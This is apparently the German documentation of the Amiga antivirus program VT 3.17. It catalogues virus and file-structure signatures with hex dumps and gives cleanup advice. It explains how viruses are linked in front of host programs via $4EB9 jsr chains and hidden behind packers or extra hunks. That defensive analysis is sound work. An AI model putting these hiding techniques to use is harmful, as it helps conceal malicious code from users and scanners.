home *** CD-ROM | disk | FTP | other *** search
/ AmigActive 11 / AACD11.ISO / AACD / System / VTTest3 / Schutz / VT.Dokumente / VT.kennt_A-K < prev    next >
Text File  |  2000-06-24  |  524KB  |  10,769 lines
  1.  
  2.  
  3.    VT3.17 kennt_A-K:
  4.    =================
  5.                   (oder sollte erkennen)
  6.  
  7.    Stand: 2000-06-24
  8.  
  9.    Heiner Schneegold
  10.    Am Steinert 8
  11.    97246 Eibelstadt
  12.    Deutschland
  13.    Tel. 09303/99104     (bitte nur 19.00 - 20.00 Uhr)
  14.    EMail: Heiner.Schneegold@t-online.de
  15.  
  16.  
  17.    Hinweis 15.05.94:
  18.      Viele BB-Viren nehmen KEINE Ruecksicht auf das FileSystem. Also auch
  19.      auf eine Disk mit FFS-Struktur (DOS1/3/5) wird ein DOS0-BB-Virus
  20.      geschrieben. Beim Filetest mit VT wuerden dann nur bad.Data ange-
  21.      zeigt. Dies sollten Sie als Hinweis nehmen, den Versuch mit einem
  22.      FFS-BB zu wiederholen. ABER viel schlimmer. Falls Sie bei einer
  23.      Disk mit falschem DOS-BB einen Schreibzugriff versuchen, muessen Sie
  24.      damit rechnen, das die Disk-Struktur zerstoert wird !!!! Versuchen
  25.      Sie nach diesem Fall einen FFS-BB zu installieren und fuehren Sie
  26.      dann den Filetest noch einmal durch. Wenn nicht zu viele Files
  27.      defekt sind, koennen Sie auch mit Disksalv einen Rettungsversuch
  28.      unternehmen.
  29.  
  30.    Hinweis 10.05.94:
  31.      Fordert trackdisk.device NICHT
  32.      Das Virusteil greift auf das Device zu, das im Moment durch DoIo
  33.      (Read, Write usw.) aktiv ist. Das kann auch ein Festplatten.device
  34.      (scsi.device, gvpscsi.device usw.) sein. Es wuerde also der
  35.      Rigid.BB der HD zerstoert. Nach dem naechsten Reset koennte dann
  36.      von dieser Festplatte nicht mehr gestartet werden. Keine schlechte
  37.      Idee waere es, Zylinder 0 der HD mit VT in zeige Zyl. herauszusichern,
  38.      oder sich mit LW-info einen Ausdruck vom Aufbau der HD zu beschaffen.
  39.      Dann waere es im Fall eines Falles mit der HD-ToolBox von Commodore
  40.      moeglich, die HD neu aufzubauen, wenn nur der Rigid-Bereich vom
  41.      Virus-Teil zerstoert worden ist.
  42.  
  43.    Hinweis 26.07.93: Sollte beim Test HARDLink oder SOFTLink auftauchen,
  44.      so handelt es sich weder um einen Virenbefall noch um einen Cruncher,
  45.      sondern um den Hinweis auf eine Routine des Betriebssystems. Nachzu-
  46.      lesen bei VT3.xyd am Ende von FileTest.
  47.  
  48.    Hinweis 10.10.93: Bei aelteren BBen kann es vorkommen, dass VT "unbe-
  49.      kanntes Programm", "Resstruc ungerade", "Resstruc leer" ausgibt.
  50.      Dies ist KEIN Fehler von VT, sondern liegt daran, dass der Speicher
  51.      fuer das Virusteil NICHT mit allocmem als belegt gekennzeichnet
  52.      wird bei der Installierung im Speicher. Manche BB sind wenigstens
  53.      noch soweit, dass sie nach einem RESET den Speicher anmelden.
  54.      Bei 1MB ist nun die Gefahr gross, das ein Programm z.B. VT
  55.      das Virusteil ueberschreibt. Eine Vermehrung ist dann natuerlich
  56.      auch nicht mehr moeglich. ABER !!!!  Der KickTag-Zeiger, Cool-Zeiger
  57.      oder Cold-Zeiger bleibt ja verbogen (geschuetzt in ExecBase).
  58.      Also ueberprueft VT die Vektoren, findet nichts passendes dazu und
  59.      gibt deshalb obengenannte Warnungen aus. Die gleichen Viren (z.B.
  60.      SCA ) werden mit 5MB Speicher SICHER erkannt im Speicher. Im BB
  61.      MUSS VT diese Viren IMMER finden, da es hier kein Speicherproblem
  62.      gibt. Im schlimmsten Fall kann es mit nur 1MB CHIP und KEIN Fastmem
  63.      zum GURU kommen, wenn das Virusteil seinen Speicher nicht anmeldet
  64.      und z.B. DoIo verbiegt. VT ueberschreibt dann schon beim Laden den
  65.      "Virusspeicherbereich", zerstoert den DoIo und dies fuehrt zu einem
  66.      GURU. Dies hat NICHTS mit VT zu tun, sondern kann mit anderen gros-
  67.      sen Programmen genauso nachvollzogen werden !!!!!
  68.  
  69.  
  70.     - bekannte Viren (die ich habe):
  71.       ==============================
  72.             Test auf mind. drei Langworte im Speicher
  73.             Kein FastMem heisst, dass das VirusPrg mit FastmemKarte bei
  74.             mir abstuerzt, koennte aber mit $C00000 oder einer anderen
  75.             Fastmem-Karte laufen ????
  76.  
  77.    - *-Filename
  78.        KEIN Virus !!!!!!!
  79.        Der Filename besteht nur aus einem * und die Filelaenge ist meist
  80.        Null. Sollte nur auf uralten PD-Disks auftauchen. Dieses File ent-
  81.        steht durch die Fehlfunktion eines uralten Prgs, das dann auch
  82.        im C-Verzeichnis zu finden sein sollte.
  83.        Sie sollten diese *-Files loeschen, da das * bei einigen
  84.        DOS-Funktionen ein Fehlverhalten ausloesen kann. Wer es nicht
  85.        glaubt, moege bitte eine solche Disk in der ORIGINAL Commodore-
  86.        AmigaShell kopieren. Verwenden Sie bitte den Befehl:
  87.        copy df0: df1: all (Return)
  88.        Na sind Sie von dem Ergebnis ueberrascht ??
  89.  
  90.    - 3c(a7)-Link
  91.        Diese Variante ist im Dez. 93 aufgetaucht. Die Routine ist keine
  92.        Neuentwicklung, sondern wurde von Packern abgeschaut. Da sich VT
  93.        nicht sicher ist, bietet das Programm nur weiter an. Bei einigen
  94.        Programmen - die ich habe (Dotty-MAFIA-Inst.) -, bietet VT
  95.        loeschen an. Alle mir bekannten Links (Stand Jan 94) verwenden
  96.        im Programm absolute Speicheradressen, die normal nur auf wenigen
  97.        Rechnertypen vorhanden sind. Also nach meiner Meinung keine zu
  98.        grosse Gefahr.
  99.  
  100.    - 3E8-Hunk  3F0-Hunk  3F1-Hunk
  101.        WICHTIG  WICHTIG  WICHTIG  WICHTIG  WICHTIG  WICHTIG  WICHTIG
  102.         99% der von VT erkannten Hunktypen werden NICHTS mit einem
  103.         Virus zu tun haben !!! Also bitte, die Aussage "3E8-Hunk=Virus"
  104.         ist MEIST FALSCH !!!
  105.        WICHTIG  WICHTIG  WICHTIG  WICHTIG  WICHTIG  WICHTIG  WICHTIG
  106.         Die obengenannten Hunktypen sind fuer den Programmablauf nicht
  107.         notwendig. Ehrliche Programmierer verwenden diese Hunks, um z.B.
  108.         mit Kontrollstrukturen den sauberen Ablauf ihres eigenen Programms
  109.         auszutesten. Andere Programmierer legen in einen Hunktyp die
  110.         Versions-Nummer. Also alles in Ordnung.
  111.         Wieder andere Programmierer versuchen durch diese Hunktypen am
  112.         Fileanfang, einen Virus-Link zu verhindern, da die meisten Link-
  113.         Viren auf $3E9 geprueft haben. TUT MIR LEID. DIESE ZEITEN SIND
  114.         VORBEI. Neuere Viren koennen diese Hunktypen am Fileanfang ueber-
  115.         springen.
  116.         Einige Negativbeispiele:
  117.         Dark Avanger    3E8, 3F0, 3F1
  118.         BURN-Virus      3F1
  119.         MENEM'S REVENGE 3E8, 3F0, 3F1
  120.         FileGhost-2     3E8, 3F0, 3F1
  121.         FileGhost-3     3E8, 3F0, 3F1
  122.         BBS-Traveller   3E8, 3F0, 3F1
  123.         usw.
  124.         ABER ABER ABER !!!
  125.         Es sind mindestens zwei Shareware-Programme bekannt, die auf
  126.         Mausklick VOR ein bestehendes Programm z.B. einen 3E8-Hunk haengen.
  127.         Dies nutzen nun seit Dez. 93 einige weniger nette Zeitgenossen
  128.         aus, um ihr Virusteil zu verstecken. Da die Filestruktur veraendert
  129.         wird, kann es Probleme fuer Antivirusprg.e geben, obwohl das Virus-
  130.         teil UNVERAENDERT, also ohne 3E8-Hunk erkannt werden wuerde.
  131.         Testablauf:
  132.         Falls VT diese Hunktypen an einem File erkennt, brechen Sie bitte
  133.         den Scan-Vorgang ab. Kopieren Sie das File ins RAM: oder auf eine
  134.         leere Disk. Gehen Sie danach in den VT-Filerequester. Klicken Sie
  135.         das File an. Klicken Sie auf Convert. (Ja, ich war zu faul, dafuer
  136.         ein eigenes Gadget zu opfern). VT sollte nun den Hunk ausbauen
  137.         und das File neu abspeichern.
  138.          moegliche Fehlermeldungen:
  139.              - nichts Bekanntes   (es ist gar kein 3E8-Hunk)
  140.              - Fehler             (VT findet keinen Anschlusshunk oder
  141.                                    das File ist irgendwie beschaedigt)
  142.         Da inzwischen ein File mit einem 3E8-Hunk UND einem 3F1-Hunk am
  143.         Anfang aufgetaucht ist, muessen Sie den Ausbau (convert) halt
  144.         wiederholen !!!!
  145.         Danach klicken Sie bitte im Filerequester auf FileTest:
  146.             - nichts Bekanntes   (hoechstwahrscheinlich kein Virusteil
  147.                                   aber nicht sicher. Es tauchen immer
  148.                                   wieder neue Viren auf.)
  149.             - VT erkennt ein Virusteil
  150.             - VT erkennt einen Packer  (Hier sollten bei Ihnen IMMER
  151.                   die Alarmglocken anschlagen.)
  152.         Entpacken Sie das File mit dem entsprechenden Packer. Mit etwas
  153.         Pech werden Sie dann mit VT oder einem Filemonitor ein Virusteil
  154.         erkennen.
  155.         Hinweis: Auf der Fish-CD Dez93 (Auslieferung Mitte Jan 94) findet
  156.         VT mehrere 3F1-Hunks. Die betroffenen Programme wurden nach RAM:
  157.         kopiert und ueberprueft. Sie sind ALLE sauber. Die Aussage gilt
  158.         NUR fuer diese CD !!!!
  159.      Nachtrag Feb. 94:
  160.         Es haben mich inzwischen Anrufe erreicht, dass nach dem Ausbau
  161.         von 3F1-Hunks das Programm nicht mehr lauffaehig sei. Da ich
  162.         solche Tricks befuerchtet habe, koennen Sie diese Hunks ja auch
  163.         nicht im Filetest ausbauen, sondern muessen in den VT-Filerequester
  164.         gehen und mit dem Gadget "Convert" arbeiten. Also BITTE kopieren
  165.         Sie solche Files auf eine leere Disk, aktivieren Sie Convert
  166.         UND (!!!!!!!) ueberpruefen Sie dann die Lauffaehigkeit des ver-
  167.         kuerzten Programms. Es scheinen sich viele Spieleprogrammierer
  168.         NICHT (!!!!!!) an die Vorgaben von Commodore fuer den 3F1-Hunk
  169.         zu halten. Ich habe das noch einmal mit 3F1-Hunks auf der Fish-CD
  170.         probiert. KEIN Programm enthielt einen Virus und sie waren nach
  171.         dem Ausbau LAUFFAEHIG !!!!!
  172.         Negativbeispiel: Anruf wegen dpaint IV AGA (wenn ich es richtig
  173.         verstanden habe):
  174.         3F1-Hunk von dpaint entfernt. Programm aus cli gestartet.
  175.         Meldung: dpaint nicht gefunden
  176.         3F1-Hunk von dpaint modifiziert. Programm aus cli gestartet.
  177.         Meldung: dpaint falsch installiert
  178.         Also: Bitte, Bitte arbeiten Sie bei 3F1-Hunks mit einer KOPIE
  179.         UND ueberpruefen Sie die LAUFFAEHIGKEIT. Danke
  180.      Nachtrag Maerz 95:
  181.         Es sind inzwischen Files mit 3E8-Hunk am Anfang aufgetaucht und
  182.         dahinter dann gepackte Teile. Falls also VT nach 3E8-Hunk Ausgabe
  183.         zusaetzlich noch z.B. Powerpacker ausgibt, dann sollten bei IHNEN
  184.         die Alarmglocken laeuten. Da versucht jemand etwas zu verstecken.
  185.         UNBEDINGT nachpruefen !!!!  vgl. auch Cop Typ B u C  siehe unten
  186.  
  187.    - 3E8-HiS-Hunk
  188.            00000001 000004ae 00000647 000003e8 ...........G....
  189.            00000001 48695300 000003e9 000004ae ....HiS.........
  190.         Es koennte sich um ein Prg. handeln, das mit einem Pascal-Com-
  191.         piler erzeugt wurde. Versuchen Sie z.B. mit PP einen Ausbau
  192.         und ueberpreufen Sie die Lauffaehigkeit. Die Programme sollten
  193.         danach immer noch laufen, da genuegend Pascal-Prge. bekannt
  194.         sind, die diesen UNNOETIGEN 3E8-Hunk NICHT haben. Der Pro-
  195.         grammierer raubt Ihnen auf ihrem Speichermedium SINNLOS
  196.         Platz.
  197.  
  198.    - 3E8-*Art-Hunk
  199.         Dieser 3E8-Hunktyp wurde mehrmals vor Viren gefunden (z.B.
  200.         COP-DOpus usw.). Aber es MUSS sich NICHT IMMER ein Virus da-
  201.         hinter verstecken !!!!!!!!!!
  202.            0000: 000003f3 00000000 00000002 00000000 ................
  203.            0010: 00000001 0000009e 00020fb7 000003e8 ................
  204.            0020: 00000001 2a417274 000003e9 0000009e ....*Art........
  205.         Moeglichkeit a:
  206.         Es gibt ein Utility-Prg., das immer einen 3E8-Hunk mit diesem
  207.         Text (*Art) erzeugt. (Kenne ich NICHT)
  208.         Moeglichkeit b:
  209.         Ein Virenprogrammierer verwendet dieses Teil zum Selbstschutz
  210.         und/oder zur Kennzeichnung "seiner Viren".
  211.  
  212.  
  213.    - 3F1-HEADDBGV-Hunk
  214.            00000000 00000033 000003f1 0000000c .......3........
  215.            0039d25b 48454144 44424756 30310000 .9.[HEADDBGV01..
  216.         Dieser 3F1-Hunk am Fileanfang scheint MEIST ausbaubar zu sein,
  217.         ohne die Lauffaehigkeit des Programms zu verhindern (aber nicht
  218.         immer). Fertigen Sie bitte vor Ausbau eine Kopie an. Getestet
  219.         wurde dies mit einigen Files (z.B. lawbreaker).
  220.         Nachtrag Mai 94: laut Tel.-Auskunft erzeugt zum Beispiel Dice reg.
  221.         so einen 3F1-Hunk. Aber bitte: Was sollen ein Hunk-Debug oder Hunk-
  222.         Symbol in einem Prg., das veroeffentlicht wird. Diese Hunks sind
  223.         fuer den Endanwender NUTZLOS, verlaengern nur unnoetig das
  224.         Programmfile und rauben Ihnen auf ihrem Speichermedium SINNLOS
  225.         Platz.
  226.         Nachtrag Nov 94: Wenn Sie mit VT/Sp->File->Sp/Convert nicht arbei-
  227.         ten wollen, dann verwenden Sie im PowerPacker in der Menueleiste
  228.         Hunklab. Ein Beispiel:
  229.         xpkarchive.library V1.0   vor Ausbau: 44008   nach Ausbau: 13328
  230.         Wenn das nicht eine UEBERFLUESSIGE Platzverschwendung ist ???
  231.  
  232.    - 3F1-X-Fucker-Hunk   EIN Virus !!!!!!
  233.         Lesen Sie bitte nach bei X-Fucker
  234.             0000: 000003f3 00000000 00000001 00000000 ................
  235.             0010: 00000000 00000411 000003f1 00000003 ................
  236.             0020: 2f582046 75636b65 72000000 000003e9 /X Fucker.......
  237.  
  238.  
  239.    - 4711-Virus   Saddam-Disk-Validator-Clone  s.u.
  240.  
  241.    - 4EAE-Virus   siehe bei B.E.O.L.-LVirus
  242.  
  243.    - $4EB9-Link ??
  244.       Fileauszug:
  245.          0000: 000003f3 00000000 0000000d 00000000 ................
  246.          0010: 0000000c 00000004 00000014 00000630 ...............P
  247.          0020: 400000cc 00000001 0000007c 0000042a @..............+
  248.          0030: 00000486 00000014 000026d8 0000007c ..........&.....
  249.          0040: 000013aa 00000923 000003e9 00000004 .......#........
  250.          0050: 4eb90000 00004eb9 00000000 70004e75 N.....N.....p.Nu
  251.          0060: 000003ec 00000001 00000001 00000002 ................
  252.          0070: 00000001 00000008 00000008 00000000 ................
  253.          0080: 000003f2 000003e9 00000014 48e7ffff ............H...
  254.       Diese Struktur taucht in letzter Zeit immer haeufiger im Zusam-
  255.       menhang mit gelinkten Viren auf. Bei den Viren handelt es sich
  256.       in der Regel um "alte" Teile, die aber nicht erkannt werden
  257.       koennen, da die Testlangworte an einer anderen Stelle liegen.
  258.       Vermutlich wurde die Struktur von einer Szene-Gruppe entwickelt,
  259.       um ein Intro vor ein Programm linken zu koennen.
  260.       Diese Struktur wird nun abgekupfert (oder es existiert sogar
  261.       ein Programm dafuer ??).
  262.       Also BITTE, BITTE nicht bei jedem $4eb9 sofort loeschen, sondern
  263.       nachdenken und das File erst auf eine andere Disk kopieren.
  264.       Der groesste Teil der gefundenen Programme wird wahrscheinlich
  265.       der Szene zuzuordnen sein, d. h.  das Spiel wird nach dem Loeschen
  266.       NICHT mehr laufen. Bitte helfen SIE mit, die Virus-Programme her-
  267.       auszufiltern und schicken Sie die Programme bitte an mich. Wenn
  268.       es geht mit Tel. Nr. . Ich rufe dann zurueck, sobald ich das
  269.       Teil entschluesselt habe. Ich sichere noch einmal zu, dass sowohl
  270.       Telefonnummern als auch Adressen nach Erledigung der Arbeit in
  271.       den Abfalleimer wandern.
  272.       Struktur:
  273.       Ab $84 beginnt das gelinkte Virus-Teil
  274.       Ab $48 beginnt der Ausloeser-Hunk. Er ist sehr kurz (4) und
  275.       enthaelt nur 2 Sprungbefehle jsr ($4EB9), moveq 0,d0 (7000) und
  276.       ein rts (4e75). Danach folgt ein Reloc-Hunk fuer die jsr-Befehle.
  277.       Ablauf:
  278.       Der 1. jsr-Befehl installiert das Virus-Teil und kehrt zurueck.
  279.       Der 2. jsr-Befehl fuehrt das Nutzprogramm aus und kehrt nach Be-
  280.       endigung des Programms zurueck. Danach wird d0 geloescht und mit
  281.       rts das ganze File beendet. So einfach ist das.
  282.       Hinweis 07.06.93:
  283.       Es sind auch 4EB9-Links aufgetaucht, bei denen das Virusteil mit
  284.       dem 2. jsr-Befehl installiert wird. ALLE angelinkten Virenteile
  285.       waren gepackt, wohl um Reloc-Probleme zu minimieren.
  286.       HINWEIS ab VT2.54 :
  287.       Sie koennen jetzt im File-Requester Teil 1 oder 2 abschalten.
  288.       Link1aus - schaltet den Programmteil 1 ab.
  289.       Link2aus - schaltet den Programmteil 2 ab.
  290.       Dies kann natuerlich nur ein NOTNAGEL sein. Besser ist es, wenn
  291.       Sie mir das verseuchte Teil zuschicken und noch mehr erleichtern
  292.       Sie mir meine Arbeit, falls Sie zufaellig das Programm auch im
  293.       ungelinkten Zustand besitzen.
  294.       Bitte fertigen Sie sich von dem gelinkten Programm zwei ver-
  295.       schiedene Namenskopien auf einer sonst leeren Disk an. Schalten
  296.       Sie danach an Kopie 1 den Link 1 ab und an Kopie 2 den Link 2 ab.
  297.       Wenn Sie Glueck haben, ist ein lauffaehiges Programm dann ohne
  298.       Virusteil oder ohne Intro !!
  299.       Aber !!!  Es ist auch moeglich, dass das Haupt-Programm NICHT
  300.       mehr laeuft. Warum ?  Beispiel:
  301.       Eine Gruppe hat ein Intro vor ein Spiel gelinkt. Dann koennen
  302.       in diesem Intro schon Veraenderungen am Computer (FastRam ab-
  303.       schalten usw.) vorgenommen werden, die das Spiel voraussetzt.
  304.       Ohne das Intro ist das Spiel dann logischerweise nicht lauf-
  305.       faehig. Beispiele sind bekannt !!!!
  306.       MERKE: Ein File mit abgeschaltetem LINK gibt man NICHT weiter!!!
  307.       Hinweis 28.06.93 :
  308.       Das Erzeugerprogramm fuer den $4EB9-Link scheint gefunden zu sein.
  309.       Ein Programm mit Namen: Chain V0.23
  310.       Danke fuer den Hinweis
  311.  
  312.       Hinweis 24.09.93: Es soll eine neue 4EB9-Variante aufgetaucht sein.
  313.            46696c65 2d636861 696e2069 6e636c75 File-chain inclu
  314.            64696e67 3a20006d 656e7500 77640000 ding: .menu.wd..
  315.            000003e9 00000007 48e7fffe 4eb90000 ........H...N...
  316.            00004cd7 7fff4eb9 00000000 4cdf7fff ..L..N.....L..
  317.            70004e75 000003ec 00000001 00000001 p.Nu............
  318.       Sie koennen im File-Requester Teil 1 oder 2 abschalten. Bitte
  319.       lesen Sie ein paar Zeilen weiter oben nach.
  320.       Nachtrag 04.94:
  321.       Das Erzeuger-Programm scheint gefunden zu sein. File-Chainer V1.3
  322.       Danke fuer den Hinweis .
  323.  
  324.    - $4EB9+PP-Link
  325.         Am Fileanfang ist zu lesen:
  326.            00064e75 4d4f5061 636b6572 000003ec ..NuMOPacker....
  327.         Jemand versucht mit der 4EB9-Methode ein PP-gepacktes File zu
  328.         verstecken. Lassen Sie das Teil ausbauen und danach werden
  329.         die entsprechenden Prg.e ein PP-File erkennen, das Sie dann
  330.         weiter untersuchen koennen. Es wurde MEIST KEIN Virus in
  331.         solchen Files gefunden. Aber gehen Sie bitte auf Nummer sicher.
  332.         Sie koennen das File zur Sicherheit auf eine Disk kopieren,
  333.         im VT-Filereq. mit "Link1aus" auch ausbauen und dann die
  334.         Lauffaehigkeit testen.
  335.  
  336.    - $4EB9-RTS-Link ??
  337.       Fileauszug:
  338.          0000: 000003f3 00000000 00000008 00000000 ................
  339.          0010: 00000007 00000004 00000001 0000001e ................
  340.          0020: 00000032 00002215 00000080 00000e20 ...2.."........
  341.          0030: 00000940 000003e9 00000004 4eb90000 ...@........N...
  342.          0040: 00004eb9 00000000 70004e75 000003ec ..N.....p.Nu....
  343.          0050: 00000001 00000001 00000002 00000001 ................
  344.          0060: 00000002 00000008 00000000 000003f2 ................
  345.          0070: 000003e9 00000001 42804e75 000003f2 ........B.Nu....
  346.                             ^^^^ ^^^^^^^^
  347.          0080: 000003e9 0000001e 48e7ffff 49fa005e ........H...I..^
  348.       Der erste gelinkte Hunk besteht nur aus einem Langwort und ent-
  349.       haelt:   4280   clr.l d0
  350.                4e75   rts
  351.       Dies sollte Sie nachdenklich machen. Da will jemand etwas ver-
  352.       stecken. Versuchen Sie mit einem File-Hex-Editor den Anfang ab-
  353.       zuschneiden. Wahrscheinlich werden Sie dann auf ein gepacktes
  354.       File stossen. Dieses sollten Sie zur Sicherheit auch noch ent-
  355.       packen. Notwendige Aenderungen mit Monitor in diesem Fall:
  356.          0050: 00000001 000003f3 00000000 00000006
  357.          0060: 00000000 00000005 0000001e 00000032
  358.          0070: 00002215 00000080 00000e20 00000940
  359.          0080: 000003e9 0000001e 48e7ffff 49fa005e
  360.       Mit dem Editor ab $54 abspeichern.
  361.  
  362.    - $4EB9-$4EF9-Link ??
  363.       Fileauszug: 
  364.         0000: 000003f3 00000000 0000000e 00000000 ................
  365.         0010: 0000000d 00000005 00000089 000008d3 ................
  366.         0020: 00000005 00000089 00000126 0000001d ...........&....
  367.         0030: 0000e945 400000ac 00002085 40004485 ...E@..... .@.D.
  368.         0040: 0000007c 00008926 0000123a 000003e9 ...|...&...:....
  369.         0050: 00000005 48e7fffe 4eb90000 00004cdf ....H...N.....L.
  370.         0060: 7fff4ef9 00000000 000003ec 00000001 .N.............
  371.       Dis:
  372.         0054: 48E7 FFFE                 MOVEM.L D0-D7/A0-A6,-(A7)
  373.         0058: 4EB9 00000000             JSR     L000001
  374.         005C: 4CDF 7FFF                 MOVEM.L (A7)+,D0-D7/A0-A6
  375.         0062: 4EF9 00000000             JMP     L00002D
  376.       Hinweis: Falls VT diese Struktur an einem File erkennt,
  377.       kann das angelinkte Teil ein Trainer, ein Intro oder AUCH EIN
  378.       Virus sein. Lesen Sie bitte dazu bei $4EB9-Link (oben) nach.
  379.       Sie koennen jetzt im File-Requester an Files, die im FileTest als
  380.       $4EB9-$4EF9-Link erkannt wurden, Teil 1 oder Teil 2 abschalten.
  381.       Rest siehe oben
  382.       Hinweis: Es wird das $4EB9-$4EF9-Link-Programm gesucht. Da
  383.       Ende Nov 93 schlagartig mehrere solche Links aufgetaucht sind,
  384.       vermute ich, das es dafuer ein Programm gibt.
  385.       Nachtrag 04.94:
  386.       Das Erzeuger-Programm scheint gefunden zu sein. ExeLink V1.1
  387.       Danke fuer den Hinweis .
  388.  
  389.    - $4EB9-4EF9-RTS-Link
  390.       Fileauszug:
  391.         0000: 000003f3 00000000 00000004 00000000 ................
  392.         0010: 00000003 00000005 00000001 00000083 ................
  393.         0020: 00001ceb 000003e9 00000005 48e7fffe ............H...
  394.         0030: 4eb90000 00004cdf 7fff4ef9 00000000 N.....L..N.....
  395.         0040: 000003ec 00000001 00000001 00000006 ................
  396.         0050: 00000001 00000002 00000010 00000000 ................
  397.         0060: 000003f2 000003e9 00000001 4e750000 ............Nu..
  398.                                       ^^ ^^^^
  399.         0070: 000003f2 000003e9 00000083 48e7fffe ............H...
  400.       Der erste gelinkte Hunk besteht nur aus einem Langwort und ent-
  401.       haelt:   4e75   rts
  402.       Dies sollte Sie nachdenklich machen. Da will jemand etwas ver-
  403.       stecken. Versuchen Sie mit einem File-Hex-Editor den Anfang ab-
  404.       zuschneiden. Wahrscheinlich werden Sie dann auf ein gepacktes
  405.       File stossen. Dieses sollten Sie zur Sicherheit auch noch ent-
  406.       packen. Notwendige Aenderungen mit Monitor in diesem Fall:
  407.         0050: 00000001 00000002 000003f3 00000000
  408.         0060: 00000002 00000000 00000001 00000083
  409.         0070: 00001ceb 000003e9 00000083 48e7fffe
  410.       Mit dem Editor ab $58 abspeichern.
  411.  
  412.    - $4EB9-Text-Link ??
  413.       An ein Programm wurde mit $4EB9 ein Text angelinkt, der im Cli
  414.       mit Dos-Routinen ausgegeben wird. KEIN Virus !!
  415.       VORSICHT !!  VORSICHT !!
  416.       VT versucht im Filetest einen Ausbau !!!!!  Dieser Vorgang MUSS
  417.       NICHT gelingen. Es kann sein, dass das Programm danach NICHT mehr
  418.       lauffaehig ist. Fertigen Sie deshalb bitte VORHER eine Kopie an.
  419.       Danke. Falls weitere derartige Anhaengsel bekannt sind, bitte ich
  420.       um Zusendung.
  421.       Am Fileanfang ist z.B. zu lesen:
  422.            20202020 542e442e 422e2046 524f4d20     T.D.B. FROM
  423.            4c454745 4e442120 50524553 454e5453 LEGEND! PRESENTS
  424.            204a5553 5420464f 52204655 4e210a0a  JUST FOR FUN!..
  425.       ;usw. ....
  426.  
  427.    - $4EB9-Text-MausT ??
  428.       Nachtrag Maerz 94: Laut Telephonanrufen gibt es auch $4EB9-Text-
  429.       Link-Files, die nur aus einer Gruppenmitteilung und dem Ab-
  430.       fragen der linken Maustaste bestehen. Hier ist dann natuerlich
  431.       ein Ausbau unsinnig. Loeschen Sie bei Bedarf das ganze File und
  432.       aendern Sie dann auch s/startup-sequence ab. Bitte machen Sie
  433.       aber VORHER eine Kopie der Disk. Sollte der Text die Aufforderung
  434.       enthalten, eine andere Disk einzulegen, dann ist das Loeschen
  435.       natuerlich nicht angebracht. Danke
  436.  
  437.    - $6c(Proc)<>PStart
  438.       Der Zeiger $6c in der ProcessStruktur zeigt bei allen mir be-
  439.       kannten Nutzprogrammen auf den Process-Struktur-Start.
  440.       Dieser Zeiger wird nun von Hanf- und Smeg-Virus (s.u.) auf den
  441.       eigenen Bereich verbogen. Da ich mit Nachahmern rechne, gibt
  442.       VT eine Warnung aus. Es kann sich also um einen Nachbau ODER ABER
  443.       um ein sauberes Nutzprogramm handeln. Bleiben Sie ruhig und ver-
  444.       suchen Sie das Programm zu finden, dass diesen Zeiger verwendet.
  445.       Es steht in dem VT-Requester mit KEINEM Buchstaben, das es sich
  446.       um einen Virus handeln MUSS. Falls Sie so ein Nutzprogramm fin-
  447.       den, waere ich fuer einen Hinweis sehr dankbar. Nuetzlich waere
  448.       neben dem Programmnamen auch die Bezugsquelle (z.B. Aminet/xyz/abc).
  449.       Danke
  450.  
  451.    - $B4(Process)   siehe auch bei BEOL-3
  452.       Der Zeiger $B4 in der ProcessStruktur ist MEIST Null. Dieser Zeiger
  453.       wird nun von BEOL3 und BEOL96 verbogen. Da ich mit Nachahmern
  454.       rechne, zeigt VT an "$B4(Process)>0 ???". Es duerfte sich NICHT
  455.       um BEOL3 oder BEOL96 handeln, denn diese Teile sollte VT mit
  456.       Namensangabe finden. Es kann sich also um einen Nachbau ODER ABER
  457.       um ein sauberes Nutzprogramm handeln. Bleiben Sie ruhig und ver-
  458.       suchen Sie das Programm zu finden, dass diesen Zeiger verwendet.
  459.       Es steht in dem VT-Requester mit KEINEM Buchstaben, das es sich
  460.       um einen Virus handeln MUSS.
  461.       Hinweis 96-10-05:
  462.       Im Netz ist eine Meldung aufgetaucht, dass das Nutzprogramm
  463.       DiskExpander diesen Zeiger verwendet. Schauen Sie bitte in Ihrer
  464.       startup-sequence nach, ob eine DiskExpander-Zeile existiert. Falls
  465.       ja, koennen Sie diese Zeile zu Versuchszwecken mit einem Strich-
  466.       punkt versehen und den Computer neu Booten. Kommt die $B4-Warnung
  467.       nicht mehr, so haben Sie den UNGEFAEHRLICHEN Ausloeser gefunden.
  468.       Ich werde aber versuchen, dass VT bei DiskExpander KEINE Ausgabe
  469.       mehr vornimmt.  
  470.       Hinweis 97-09-15:
  471.       Weiteres bekanntes Nutzprogramm: VNC-shell
  472.       VT nimmt hier keine Ausgabe vor.
  473.       Falls Sie weitere Programme finden (ich selbst habe bei den Pro-
  474.       grammen, die ich verwende, immer Null gefunden), waere ich fuer
  475.       einen Hinweis sehr dankbar. Nuetzlich waere neben dem Programm-
  476.       namen auch die Bezugsquelle (z.B. Aminet/xyz/abc). Danke
  477.  
  478.    - $EF67A3C3-LVirus    siehe unten bei EF67A3C3-LVirus
  479.  
  480.    - $FA58B1EF-LVirus    siehe unten bei FA58B1EF-LVirus
  481.  
  482.    - $FFFFFFE9-Virus  siehe unten bei B.E.O.L.-LVirus
  483.  
  484.    - .info    anderer Name: TimeBomb V0.9   s.u.
  485.  
  486.    - 1.Hunk > Filelaenge
  487.       Eine Fehlermeldung und NICHT IMMER ein Virusteil
  488.       Im Langwort hinter der CodeHunk-Kennung (3E9) steht die Laenge
  489.       des 1.Hunks. Mal 4 und in Dez umgewandelt ergibt sich die Laenge
  490.       des 1.Hunks. VT glaubt nun ein File gefunden zu haben, bei dem
  491.       die Hunklaenge groesser ist als die abgespeicherte Filelaenge.
  492.       Ausgabe deshalb: File defekt .
  493.       Moegliche Ursachen:
  494.       a) Beim Copy ist etwas schief gegangen. Kann ich an zwei
  495.          uralten PD-Disks belegen.
  496.       b) Ein Virus (Commander, Invader usw.) hat sehr grosse Probleme
  497.          mit 68040+Cache. Dies kann jeder durch Tests sehr leicht nach-
  498.          vollziehen.
  499.       c) Ein Trick, den ich nicht kenne.
  500.       Diese Files sollten Sie mit einem Filemonitor untersuchen. Falls
  501.       die Files wirklich defekt sind, bleibt Ihnen leider nur Loeschen
  502.       uebrig. Falls Sie Fehlerkennungen durch VT finden, bitte ich Sie
  503.       um eine Mitteilung. Danke !!
  504.          
  505.    - 1599-Trojan   (Computer-Uebernahme)
  506.           siehe bei Port-1599-Trojan
  507.                    
  508.    - 67-Trojan   (Computer-Uebernahme)
  509.           siehe bei Port-67-Trojan
  510.  
